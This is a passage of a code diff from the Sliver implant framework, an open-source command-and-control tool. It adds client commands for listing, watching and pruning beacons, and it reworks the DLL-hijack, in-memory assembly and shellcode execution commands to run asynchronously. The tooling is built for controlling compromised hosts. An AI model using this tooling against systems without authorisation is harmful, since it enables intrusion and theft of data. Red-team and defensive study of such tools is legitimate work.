+func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
+	if len(beacons) == 0 {
+		con.PrintInfof("No beacons 🙁\n")
+		return
+	}
+	tw := renderBeacons(beacons, con)
+	con.Printf("%s\n", tw.Render())
+}
+
+func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
+	width, _, err := terminal.GetSize(0)
+	if err != nil {
+		width = 999
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	if 182 < width {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Tasks",
+			"Transport",
+			"Remote Address",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Last Check-in",
+			"Next Check-in",
+		})
+	} else {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Transport",
+			"Username",
+			"Operating System",
+			"Last Check-in",
+			"Next Check-in",
+		})
+	}
+
+	for _, beacon := range beacons {
+		color := console.Normal
+		activeBeacon := con.ActiveTarget.GetBeacon()
+		if activeBeacon != nil && activeBeacon.ID == beacon.ID {
+			color = console.Green
+		}
+
+		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		var next string
+		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
+			past := time.Now().Sub(nextCheckin)
+			next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
+		} else {
+			eta := nextCheckin.Sub(time.Now())
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
+		}
+		if 182 < width {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
+				fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
+				next,
+			})
+		} else {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
+				next,
+			})
+		}
+	}
+	return tw
+}

client/command/beacons/helpers.go

@@ -0,0 +1,128 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+var (
+	// ErrNoBeacons - No sessions available
+	ErrNoBeacons = errors.New("no beacons")
+	// ErrNoSelection - No selection made
+	ErrNoSelection = errors.New("no selection")
+	// ErrBeaconNotFound
+	ErrBeaconNotFound = errors.New("no beacon found for this ID")
+)
+
+// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
+func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+
+	beaconsMap := map[string]*clientpb.Beacon{}
+	for _, beacon := range beacons.Beacons {
+		beaconsMap[beacon.ID] = beacon
+	}
+	keys := []string{}
+	for beaconID := range beaconsMap {
+		keys = append(keys, beaconID)
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		beacon := beaconsMap[key]
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
+			beacon.ID,
+			beacon.Name,
+			beacon.RemoteAddress,
+			beacon.Hostname,
+			beacon.Username,
+			fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a beacon:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> session
+	for index, option := range options {
+		if option == selected {
+			return beaconsMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}
+
+func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+	for _, beacon := range beacons.Beacons {
+		if beacon.ID == beaconID {
+			return beacon, nil
+		}
+	}
+	return nil, ErrBeaconNotFound
+}
+
+func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+	return beacons, nil
+}

client/command/beacons/prune.go

@@ -0,0 +1,85 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// BeaconsPruneCmd - Prune stale beacons automatically
+func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	pruneBeacons := []*clientpb.Beacon{}
+	for _, beacon := range beacons.Beacons {
+		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		if time.Now().Before(nextCheckin) {
+			continue
+		}
+		delta := time.Now().Sub(nextCheckin)
+		if pruneDuration <= delta {
+			pruneBeacons = append(pruneBeacons, beacon)
+		}
+	}
+	if len(pruneBeacons) == 0 {
+		con.PrintInfof("No beacons to prune.\n")
+		return
+	}
+	con.PrintWarnf("The following beacons and their tasks will be removed:\n")
+	for index, beacon := range pruneBeacons {
+		beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			continue
+		}
+		con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
+	}
+	con.Println()
+	confirm := false
+	prompt := &survey.Confirm{Message: "Prune these beacons?"}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	errCount := 0
+	for _, beacon := range pruneBeacons {
+		_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			errCount++
+		}
+	}
+	con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
+}

client/command/beacons/rm.go

@@ -0,0 +1,41 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// BeaconsRmCmd - Display/interact with beacons
+func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	beacon, err := SelectBeacon(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.RmBeacon(context.Background(), beacon)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
+}

client/command/beacons/watch.go

@@ -0,0 +1,67 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// BeaconsWatchCmd - Watch your beacons in real-ish time
+func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	done := waitForInput()
+	defer func() {
+		con.Printf(console.UpN+console.Clearln+"\r", 1)
+		con.Printf(console.UpN+console.Clearln+"\r", 1)
+	}()
+	for {
+		select {
+		case <-done:
+			return
+		case <-time.After(time.Second):
+			beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+			if err != nil {
+				panic(err) // If we return we may leak the waiting goroutine, so we panic instead
+			}
+			tw := renderBeacons(beacons.Beacons, con)
+			lines := strings.Split(tw.Render(), "\n")
+			for _, line := range lines {
+				con.Printf(console.Clearln+"\r%s\n", line)
+			}
+			con.Printf("\nPress enter to stop.\n")
+			con.Printf(console.UpN+"\r", len(lines)+2)
+		}
+	}
+}
+
+func waitForInput() <-chan bool {
+	done := make(chan bool)
+	go func() {
+		defer close(done)
+		fmt.Scanf("\n")
+		done <- true
+	}()
+	return done
+}

client/command/completers/README.md

@@ -0,0 +1,4 @@
+Completers
+===========
+
+This package contains general purpose completers for the console, note that some package also contain their own package-specific completers. 

client/command/completers/completers.go

@@ -0,0 +1,63 @@
+package completers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+)
+
+// LocalPathCompleter - Completes a local file system path
+func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	var parent string
+	var partial string
+	fi, err := os.Stat(prefix)
+	if os.IsNotExist(err) {
+		parent = filepath.Dir(prefix)
+		partial = filepath.Base(prefix)
+	} else {
+		if fi.IsDir() {
+			parent = prefix
+			partial = ""
+		} else {
+			parent = filepath.Dir(prefix)
+			partial = filepath.Base(prefix)
+		}
+	}
+
+	results := []string{}
+	ls, err := ioutil.ReadDir(parent)
+	if err != nil {
+		return results
+	}
+	for _, fi = range ls {
+		if 0 < len(partial) {
+			if strings.HasPrefix(fi.Name(), partial) {
+				results = append(results, filepath.Join(parent, fi.Name()))
+			}
+		} else {
+			results = append(results, filepath.Join(parent, fi.Name()))
+		}
+	}
+	return results
+}

client/command/dllhijack/dllhijack.go

@@ -24,7 +24,7 @@ import (
 	"io/ioutil"
 
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/desertbit/grumble"
 )
 
@@ -39,7 +39,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		targetDLLData []byte
 		err           error
 	)
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -78,12 +78,12 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
 	con.SpinUntil(msg, ctrl)
-	_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
+	_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
 		ReferenceDLLPath: referencePath,
 		TargetLocation:   targetPath,
 		ReferenceDLL:     localRefData,
 		TargetDLL:        targetDLLData,
-		Request:          con.ActiveSession.Request(ctx),
+		Request:          con.ActiveTarget.Request(ctx),
 		ProfileName:      profileName,
 	})
 	ctrl <- true

client/command/environment/get.go

@@ -22,28 +22,49 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // EnvGetCmd - Get a remote environment variable
 func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
 	name := ctx.Args.String("name")
 	envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
 		Name:    name,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
-
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if envInfo.Response != nil && envInfo.Response.Async {
+		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, envInfo)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintGetEnvInfo(envInfo, con)
+		})
+		con.PrintAsyncResponse(envInfo.Response)
+	} else {
+		PrintGetEnvInfo(envInfo, con)
+	}
+}
 
+// PrintGetEnvInfo - Print the results of the env get command
+func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
 	for _, envVar := range envInfo.Variables {
 		con.Printf("%s=%s\n", envVar.Key, envVar.Value)
 	}

client/command/environment/set.go

@@ -22,15 +22,17 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // EnvSetCmd - Set a remote environment variable
 func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -46,12 +48,30 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Key:   name,
 			Value: value,
 		},
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if envInfo.Response != nil && envInfo.Response.Async {
+		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, envInfo)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSetEnvInfo(name, value, envInfo, con)
+		})
+		con.PrintAsyncResponse(envInfo.Response)
+	} else {
+		PrintSetEnvInfo(name, value, envInfo, con)
+	}
+
+}
+
+// PrintSetEnvInfo - Print the set environment info
+func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
 	if envInfo.Response != nil && envInfo.Response.Err != "" {
 		con.PrintErrorf("%s\n", envInfo.Response.Err)
 		return

client/command/environment/unset.go

@@ -22,14 +22,16 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // EnvUnsetCmd - Unset a remote environment variable
 func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -41,16 +43,33 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
 		Name:    name,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if unsetResp.Response != nil && unsetResp.Response.Async {
+		con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, unsetResp)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintUnsetEnvInfo(name, unsetResp, con)
+		})
+		con.PrintAsyncResponse(unsetResp.Response)
+	} else {
+		PrintUnsetEnvInfo(name, unsetResp, con)
+	}
 
-	if unsetResp.Response != nil && unsetResp.Response.Err != "" {
-		con.PrintErrorf("%s\n", unsetResp.Response.Err)
+}
+
+// PrintUnsetEnvInfo - Print the set environment info
+func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
 		return
 	}
 	con.PrintInfof("Successfully unset %s\n", name)

client/command/exec/execute-assembly.go

@@ -3,14 +3,17 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
+
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
+
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
+
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -20,26 +23,27 @@ import (
 	"fmt"
 	"io/ioutil"
 	"os"
-	"path"
 	"path/filepath"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // ExecuteAssemblyCmd - Execute a .NET assembly in-memory
 func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
-	filePath := ctx.Args.String("filepath")
+	assemblyPath := ctx.Args.String("filepath")
 	isDLL := false
-	if filepath.Ext(filePath) == ".dll" {
+	if filepath.Ext(assemblyPath) == ".dll" {
 		isDLL = true
 	}
 	if isDLL {
@@ -48,7 +52,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 			return
 		}
 	}
-	assemblyBytes, err := ioutil.ReadFile(filePath)
+	assemblyBytes, err := ioutil.ReadFile(assemblyPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
@@ -59,8 +63,8 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
-	executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:   con.ActiveSession.Request(ctx),
+	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+		Request:   con.ActiveTarget.Request(ctx),
 		IsDLL:     isDLL,
 		Process:   process,
 		Arguments: strings.Join(assemblyArgs, " "),
@@ -72,30 +76,50 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	})
 	ctrl <- true
 	<-ctrl
-
 	if err != nil {
-		con.PrintErrorf("Error: %v", err)
+		con.PrintErrorf("%s", err)
+		return
+	}
+	hostname := getHostname(session, beacon)
+	if execAssembly.Response != nil && execAssembly.Response.Async {
+		con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, execAssembly)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+		})
+		con.PrintAsyncResponse(execAssembly.Response)
+	} else {
+		PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+	}
+}
+
+// PrintExecuteAssembly - Print the results of an assembly execution
+func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
+	assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+
+	if execAssembly.GetResponse().GetErr() != "" {
+		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
 		return
 	}
 
-	if executeAssembly.GetResponse().GetErr() != "" {
-		con.PrintErrorf("Error: %s\n", executeAssembly.GetResponse().GetErr())
-		return
-	}
 	var outFilePath *os.File
+	var err error
 	if ctx.Flags.Bool("save") {
-		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
 		outFilePath, err = ioutil.TempFile("", outFile)
 	}
-	con.PrintInfof("Assembly output:\n%s", string(executeAssembly.GetOutput()))
+	con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
 	if outFilePath != nil {
-		outFilePath.Write(executeAssembly.GetOutput())
+		outFilePath.Write(execAssembly.GetOutput())
 		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 
-	if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
-		name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
-		err = loot.AddLootFile(con.Rpc, name, "console.txt", executeAssembly.GetOutput(), false)
+	if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
+		name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
+		err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
 		if err != nil {
 			con.PrintErrorf("Failed to save output as loot: %s\n", err)
 		} else {
@@ -103,3 +127,13 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		}
 	}
 }
+
+func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.Hostname
+	}
+	if beacon != nil {
+		return beacon.Hostname
+	}
+	return ""
+}

client/command/exec/execute-shellcode.go

@@ -29,20 +29,26 @@ import (
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"golang.org/x/crypto/ssh/terminal"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // ExecuteShellcodeCmd - Execute shellcode in-memory
 func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
 	interactive := ctx.Flags.Bool("interactive")
+	if interactive && beacon != nil {
+		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
+		return
+	}
 	pid := ctx.Flags.Uint("pid")
 	shellcodePath := ctx.Args.String("filepath")
 	shellcodeBin, err := ioutil.ReadFile(shellcodePath)
@@ -61,11 +67,11 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
 	con.SpinUntil(msg, ctrl)
-	task, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
+	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
 		RWXPages: ctx.Flags.Bool("rwx-pages"),
 		Pid:      uint32(pid),
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl
@@ -73,16 +79,34 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+
+	if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
+		con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, shellcodeTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintExecuteShellcode(shellcodeTask, con)
+		})
+		con.PrintAsyncResponse(shellcodeTask.Response)
+	} else {
+		PrintExecuteShellcode(shellcodeTask, con)
+	}
+}
+
+// PrintExecuteShellcode - Display result of shellcode execution
+func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
 	if task.Response.GetErr() != "" {
 		con.PrintErrorf("%s\n", task.Response.GetErr())
-		return
+	} else {
+		con.PrintInfof("Executed shellcode on target\n")
 	}
-	con.PrintInfof("Executed shellcode on target\n")
 }
 
 func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
 	// Check active session
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -97,21 +121,21 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	})
 
 	if err != nil {
-		con.PrintErrorf("Error: %v\n", err)
+		con.PrintErrorf("%s\n", err)
 		return
 	}
 
 	tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
 
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
-		Request:   con.ActiveSession.Request(ctx),
+		Request:   con.ActiveTarget.Request(ctx),
 		Path:      hostProc,
 		EnablePTY: !noPty,
 		TunnelID:  tunnel.ID,
 	})
 
 	if err != nil {
-		con.PrintErrorf("Error: %v\n", err)
+		con.PrintErrorf("%s\n", err)
 		return
 	}
 	// Retrieve PID and start remote task
